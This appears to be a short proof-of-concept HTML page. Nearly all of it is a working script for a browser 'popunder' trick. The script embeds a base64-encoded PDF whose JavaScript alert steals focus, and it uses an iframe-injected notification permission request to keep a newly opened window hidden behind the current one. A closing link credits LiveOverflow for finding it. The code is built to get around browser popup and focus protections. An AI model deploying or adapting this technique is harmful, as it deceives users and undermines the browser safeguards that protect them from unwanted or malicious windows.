index.html

<script type="text/javascript">
  function popunder() {
    var pop = window.open("https://github.com/michael-j-scofield", "popunder", "resizable=1");
    var pdf = document.createElement('object');
    pdf.data='data:application/pdf;base64,JVBERi0xLjYKdHJhaWxlcjw8L1Jvb3QgMSAwIFI+PiAxIDAgb2JqPDwvVHlwZSAvQ2F0YWxvZy9QYWdlcyAyIDAgUi9OYW1lcyAyIDAgUj4+ZW5kb2JqMiAwIG9iajw8L0phdmFTY3JpcHQgMyAwIFI+PmVuZG9iajMgMCBvYmo8PC9OYW1lcyBbIChmKSA0IDAgUiBdPj5lbmRvYmo0IDAgb2JqPDwvSlMgKGFwcC5hbGVydFwoJ1BsZWFzZSB3YWl0Li4uJ1wpOykvUyAvSmF2YVNjcmlwdD4+JSVFT0YK'; // app.alert('Please wait...')
    document.body.appendChild(pdf);

    setTimeout(function() {
      var iframe = document.createElement('iframe');
      document.body.appendChild(iframe);
      iframe.contentWindow.eval('Notification.requestPermission();');
      setTimeout(function() {document.body.removeChild(iframe)}, 1500);
      setTimeout(function() {document.body.removeChild(pdf)}, 1500);
    }, 500);
  }
</script>
<a href="#" onclick="popunder()">Create a popunder</a>
<br>
<a href="https://www.youtube.com/watch?v=8UqHCrGdxOM" target="_blank">Credits to liveoverflow for finding this</a>